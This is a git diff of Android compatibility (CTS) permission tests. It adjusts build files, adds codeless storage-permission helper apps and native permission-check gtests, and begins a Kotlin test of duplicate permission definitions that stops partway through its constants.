index 5c452ba..779dcd5 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsPermissionAandC",
     defaults: ["cts_defaults"],
@@ -27,6 +23,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
index 3e27cbe..6db200d 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsStoragePermission28",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
index 745e233..4ff84df 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsStoragePermission29",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
index 251720f..ac05d96 100644
--- a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
+++ b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRunsRationaleTests",
     defaults: ["cts_defaults"],
@@ -28,6 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml b/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml
index cede468..b8e0144 100644
--- a/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml
+++ b/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml
@@ -16,17 +16,17 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts.appthatrunsrationaletests">
+     package="android.permission.cts.appthatrunsrationaletests">
 
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
 
     <application android:label="CtsRationaleTests">
-        <activity android:name=".TestActivity">
+        <activity android:name=".TestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="CtsRationalTests.intent.action.Launch" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="CtsRationalTests.intent.action.Launch"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
 </manifest>
-
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
index a4cab1b..918641b 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppWithSharedUidThatRequestsLocationPermission28",
     defaults: ["cts_defaults"],
@@ -28,5 +24,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
index 67fbfd9..4480d95 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppWithSharedUidThatRequestsLocationPermission29",
     defaults: ["cts_defaults"],
@@ -28,5 +24,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
index 9f6b2a8..79d42d8 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppWithSharedUidThatRequestsNoPermissions",
     defaults: ["cts_defaults"],
@@ -25,5 +21,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
index 501dcbb..b4c4846 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppWithSharedUidThatRequestsPermissions",
     defaults: ["cts_defaults"],
@@ -25,5 +21,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index 9adfc77..472beea 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -1,8 +1,9 @@
 # Bug component: 137825
-per-file PowerManagerServicePermissionTest.java = dehboxturtle@google.com
+per-file PowerManagerServicePermissionTest.java = file: platform/frameworks/base:/services/core/java/com/android/server/power/OWNERS
 per-file RequestLocation.java = hallliu@google.com
 per-file NoAudioPermissionTest.java = elaurent@google.com
 per-file MainlineNetworkStackPermissionTest.java = file: platform/frameworks/base:/services/net/OWNERS
 per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
 per-file OneTimePermissionTest.java, AppThatRequestOneTimePermission/... = evanseverson@google.com
 per-file LocationAccessCheckTest.java = ntmyren@google.com
+per-file NoRollbackPermissionTest.java = mpgroover@google.com
diff --git a/tests/tests/permission/StorageEscalationApp28/Android.bp b/tests/tests/permission/StorageEscalationApp28/Android.bp
new file mode 100644
index 0000000..63fceda
--- /dev/null
+++ b/tests/tests/permission/StorageEscalationApp28/Android.bp
@@ -0,0 +1,25 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStorageEscalationApp28",
+    certificate: ":cts-testkey2",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+}
diff --git a/tests/tests/permission/StorageEscalationApp28/AndroidManifest.xml b/tests/tests/permission/StorageEscalationApp28/AndroidManifest.xml
new file mode 100644
index 0000000..f1bd315
--- /dev/null
+++ b/tests/tests/permission/StorageEscalationApp28/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.storageescalation">
+
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+
+    <application android:hasCode="false" />
+</manifest>
diff --git a/tests/tests/permission/StorageEscalationApp29Full/Android.bp b/tests/tests/permission/StorageEscalationApp29Full/Android.bp
new file mode 100644
index 0000000..c53676f
--- /dev/null
+++ b/tests/tests/permission/StorageEscalationApp29Full/Android.bp
@@ -0,0 +1,24 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStorageEscalationApp29Full",
+    certificate: ":cts-testkey2",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/permission/StorageEscalationApp29Full/AndroidManifest.xml b/tests/tests/permission/StorageEscalationApp29Full/AndroidManifest.xml
new file mode 100644
index 0000000..73a7110
--- /dev/null
+++ b/tests/tests/permission/StorageEscalationApp29Full/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.storageescalation">
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+
+    <application android:hasCode="false" android:requestLegacyExternalStorage="true"/>
+</manifest>
diff --git a/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp b/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
new file mode 100644
index 0000000..9fde8b8
--- /dev/null
+++ b/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
@@ -0,0 +1,24 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStorageEscalationApp29Scoped",
+    certificate: ":cts-testkey2",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/permission/StorageEscalationApp29Scoped/AndroidManifest.xml b/tests/tests/permission/StorageEscalationApp29Scoped/AndroidManifest.xml
new file mode 100644
index 0000000..c3812fe
--- /dev/null
+++ b/tests/tests/permission/StorageEscalationApp29Scoped/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.storageescalation">
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+
+    <application android:hasCode="false" android:requestLegacyExternalStorage="false"/>
+</manifest>
diff --git a/tests/tests/permission/jni/Android.bp b/tests/tests/permission/jni/Android.bp
index 2bcc068..a79785e 100644
--- a/tests/tests/permission/jni/Android.bp
+++ b/tests/tests/permission/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctspermission_jni",
     sdk_version: "current",
@@ -33,3 +29,28 @@
     ],
     gtest: false,
 }
+
+cc_test_library {
+    name: "libpermissionmanager_native_test",
+    sdk_version: "current",
+    compile_multilib: "both",
+    srcs: [
+        "PermissionManagerNativeJniTest.cpp"
+    ],
+    shared_libs: [
+        "libandroid",
+        "liblog",
+    ],
+    static_libs: [
+        "libbase_ndk",
+    ],
+    whole_static_libs: [
+        "libnativetesthelper_jni"
+    ],
+    gtest: false,
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+}
diff --git a/tests/tests/permission/jni/PermissionManagerNativeJniTest.cpp b/tests/tests/permission/jni/PermissionManagerNativeJniTest.cpp
new file mode 100644
index 0000000..3920070
--- /dev/null
+++ b/tests/tests/permission/jni/PermissionManagerNativeJniTest.cpp
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// #define LOG_NDEBUG 0
+#define LOG_TAG "PermissionManagerNativeJniTest"
+
+#include <android/permission_manager.h>
+#include <android-base/logging.h>
+#include <gtest/gtest.h>
+
+class PermissionManagerNativeJniTest : public ::testing::Test {
+public:
+    void SetUp() override { }
+    void TearDown() override { }
+};
+
+//-------------------------------------------------------------------------------------------------
+TEST_F(PermissionManagerNativeJniTest, testCheckPermission) {
+    pid_t selfPid = ::getpid();
+    uid_t selfUid = ::getuid();
+
+    LOG(INFO) << "testCheckPermission: uid " << selfUid << ", pid" << selfPid;
+
+    int32_t result;
+    // Check some permission(s) we should have.
+    EXPECT_EQ(APermissionManager_checkPermission("android.permission.ACCESS_FINE_LOCATION",
+                                                 selfPid, selfUid, &result),
+              PERMISSION_MANAGER_STATUS_OK);
+    EXPECT_EQ(result, PERMISSION_MANAGER_PERMISSION_GRANTED);
+
+    // Check some permission(s) we should not have.
+    EXPECT_EQ(APermissionManager_checkPermission("android.permission.MANAGE_USERS",
+                                                 selfPid, selfUid, &result),
+              PERMISSION_MANAGER_STATUS_OK);
+    EXPECT_EQ(result, PERMISSION_MANAGER_PERMISSION_DENIED);
+}
+
diff --git a/tests/tests/permission/nativeTests/Android.bp b/tests/tests/permission/nativeTests/Android.bp
new file mode 100644
index 0000000..7fe6144
--- /dev/null
+++ b/tests/tests/permission/nativeTests/Android.bp
@@ -0,0 +1,52 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CtsPermissionManagerNativeTestCases",
+
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+
+    srcs: ["src/PermissionManagerNativeTest.cpp"],
+
+    shared_libs: [
+        "liblog",
+        "libandroid",
+    ],
+
+    static_libs: [
+        "libgtest_ndk_c++",
+        "libbase_ndk",
+    ],
+    stl: "libc++_static",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+
+    sdk_version: "current",
+}
diff --git a/tests/tests/permission/nativeTests/AndroidTest.xml b/tests/tests/permission/nativeTests/AndroidTest.xml
new file mode 100644
index 0000000..23064c5
--- /dev/null
+++ b/tests/tests/permission/nativeTests/AndroidTest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS PermissionManager native test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.RootTargetPreparer">
+        <option name="force-root" value="false" />
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsPermissionManagerNativeTestCases->/data/local/tmp/CtsPermissionManagerNativeTestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsPermissionManagerNativeTestCases" />
+        <option name="runtime-hint" value="15s" />
+    </test>
+
+    <!-- Controller that will skip the module if a native bridge situation is detected -->
+    <!-- For example: module wants to run arm and device is x86 -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
+</configuration>
diff --git a/tests/tests/permission/nativeTests/src/PermissionManagerNativeTest.cpp b/tests/tests/permission/nativeTests/src/PermissionManagerNativeTest.cpp
new file mode 100644
index 0000000..1b0dc06
--- /dev/null
+++ b/tests/tests/permission/nativeTests/src/PermissionManagerNativeTest.cpp
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// #define LOG_NDEBUG 0
+#define LOG_TAG "PermissionManagerNativeTest"
+
+#include <android/permission_manager.h>
+#include <android-base/logging.h>
+#include <gtest/gtest.h>
+
+//-----------------------------------------------------------------
+class PermissionManagerNativeTest : public ::testing::Test {
+
+protected:
+    PermissionManagerNativeTest() { }
+
+    virtual ~PermissionManagerNativeTest() { }
+
+    /* Test setup*/
+    virtual void SetUp() { }
+
+    /* Test tear down */
+    virtual void TearDown() { }
+};
+
+//-------------------------------------------------------------------------------------------------
+TEST_F(PermissionManagerNativeTest, testCheckPermission) {
+    pid_t selfPid = ::getpid();
+    uid_t selfUid = ::getuid();
+
+    LOG(INFO) << "testCheckPermission: uid " << selfUid << ", pid" << selfPid;
+
+    // Test is set up to force unroot by RootTargetPreparer, so we should be running as SHELL.
+    // Check some permissions SHELL should definitely have or not have.
+    int32_t result;
+    EXPECT_EQ(APermissionManager_checkPermission("android.permission.DUMP",
+                                                 selfPid, selfUid, &result),
+              PERMISSION_MANAGER_STATUS_OK);
+    EXPECT_EQ(result, PERMISSION_MANAGER_PERMISSION_GRANTED);
+
+    EXPECT_EQ(APermissionManager_checkPermission("android.permission.MANAGE_USERS",
+                                                 selfPid, selfUid, &result),
+              PERMISSION_MANAGER_STATUS_OK);
+    EXPECT_EQ(result, PERMISSION_MANAGER_PERMISSION_DENIED);
+
+    EXPECT_EQ(APermissionManager_checkPermission("android.permission.NETWORK_STACK",
+                                                 selfPid, selfUid, &result),
+              PERMISSION_MANAGER_STATUS_OK);
+    EXPECT_EQ(result, PERMISSION_MANAGER_PERMISSION_DENIED);
+}
diff --git a/tests/tests/permission/permissionTestUtilLib/Android.bp b/tests/tests/permission/permissionTestUtilLib/Android.bp
index dd50015..e593998 100644
--- a/tests/tests/permission/permissionTestUtilLib/Android.bp
+++ b/tests/tests/permission/permissionTestUtilLib/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "permission-test-util-lib",
 
diff --git a/tests/tests/permission/sdk28/Android.bp b/tests/tests/permission/sdk28/Android.bp
index eea2211..7971205 100644
--- a/tests/tests/permission/sdk28/Android.bp
+++ b/tests/tests/permission/sdk28/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPermissionTestCasesSdk28",
     defaults: ["cts_defaults"],
@@ -28,5 +24,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/sdk28/AndroidManifest.xml b/tests/tests/permission/sdk28/AndroidManifest.xml
index 7390f36..1dfeb2a 100644
--- a/tests/tests/permission/sdk28/AndroidManifest.xml
+++ b/tests/tests/permission/sdk28/AndroidManifest.xml
@@ -16,16 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts.sdk28">
+     package="android.permission.cts.sdk28">
 
     <uses-sdk android:minSdkVersion="3"
-        android:targetSdkVersion="28"
-        android:maxSdkVersion="28" />
+         android:targetSdkVersion="28"
+         android:maxSdkVersion="28"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.permission.cts.PermissionStubActivity"
-                  android:label="PermissionStubActivity">
+             android:label="PermissionStubActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -34,21 +35,20 @@
     </application>
 
     <!--
-        The CTS stubs package cannot be used as the target application here,
-        since that requires many permissions to be set. Instead, specify this
-        package itself as the target and include any stub activities needed.
+                The CTS stubs package cannot be used as the target application here,
+                since that requires many permissions to be set. Instead, specify this
+                package itself as the target and include any stub activities needed.
 
-        This test package uses the default InstrumentationTestRunner, because
-        the InstrumentationCtsTestRunner is only available in the stubs
-        package. That runner cannot be added to this package either, since it
-        relies on hidden APIs.
-    -->
+                This test package uses the default InstrumentationTestRunner, because
+                the InstrumentationCtsTestRunner is only available in the stubs
+                package. That runner cannot be added to this package either, since it
+                relies on hidden APIs.
+            -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.permission.cts.sdk28"
-                     android:label="CTS tests of legacy android permissions as of API 28">
+         android:targetPackage="android.permission.cts.sdk28"
+         android:label="CTS tests of legacy android permissions as of API 28">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/permission/sdk28/TEST_MAPPING b/tests/tests/permission/sdk28/TEST_MAPPING
new file mode 100644
index 0000000..b98bbaf
--- /dev/null
+++ b/tests/tests/permission/sdk28/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsPermissionTestCasesSdk28"
+    }
+  ]
+}
diff --git a/tests/tests/permission/src/android/permission/cts/DuplicatePermissionDefinitionsTest.kt b/tests/tests/permission/src/android/permission/cts/DuplicatePermissionDefinitionsTest.kt
new file mode 100644
index 0000000..ff18a05
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/DuplicatePermissionDefinitionsTest.kt
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts
+
+import android.content.pm.PackageManager
+import android.content.pm.PermissionGroupInfo
+import android.content.pm.PermissionInfo
+import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.SecurityTest
+import androidx.test.InstrumentationRegistry
+import androidx.test.internal.runner.junit4.AndroidJUnit4ClassRunner
+import com.android.compatibility.common.util.ShellUtils.runShellCommand
+import com.google.common.truth.Truth.assertThat
+import org.junit.After
+import org.junit.Test
+import org.junit.runner.RunWith
+
+private const val APK_PATH = "/data/local/tmp/cts/permissions/"
+
+private const val APK_DEFINING_PERM_A = "${APK_PATH}CtsAppThatDefinesPermissionA.apk"
+private const val APK_ALSO_DEFINING_PERM_A = "${APK_PATH}CtsAppThatAlsoDefinesPermissionA.apk"
+private const val APK_ALSO_DEFINING_PERM_A_DIFFERENT_CERT =
+        "${APK_PATH}CtsAppThatAlsoDefinesPermissionADifferentCert.apk"
+private const val APK_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT =
+        "${APK_PATH}CtsAppThatAlsoDefinesPermissionGroupADifferentCert.apk"
+private const val APK_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT_SDK_30 =
+        "${APK_PATH}CtsAppThatAlsoDefinesPermissionGroupADifferentCert30.apk"
+private const val APK_DEFINING_PERM_WITH_INVALID_GROUP =
+        "${APK_PATH}CtsAppThatDefinesPermissionWithInvalidGroup.apk"
+private const val APK_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30 =
+        "${APK_PATH}CtsAppThatDefinesPermissionWithInvalidGroup30.apk"
+private const val APK_DEFINING_PERM_IN_PLATFORM_GROUP =
+        "${APK_PATH}CtsAppThatDefinesPermissionInPlatformGroup.apk"
+
+private const val APP_DEFINING_PERM_A = "android.permission.cts.appthatdefinespermissiona"
+private const val APP_ALSO_DEFINING_PERM_A = "android.permission.cts.appthatalsodefinespermissiona"
+private const val APP_ALSO_DEFINING_PERM_A_DIFFERENT_CERT =
+        "android.permission.cts.appthatdefinespermissiona.differentcert"
+private const val APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT =
+        "android.permission.cts.appthatdefinespermissiongroupa.differentcert"
+private const val APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT_SDK_30 =
+        "android.permission.cts.appthatdefinespermissiongroupa.differentcert30"
+private const val APP_DEFINING_PERM_IN_PLATFORM_GROUP =
+        "android.permission.cts.appthatdefinespermissioninplatformgroup"
+private const val APP_DEFINING_PERM_WITH_INVALID_GROUP =
+        "android.permission.cts.appthatdefinespermissionwithinvalidgroup"
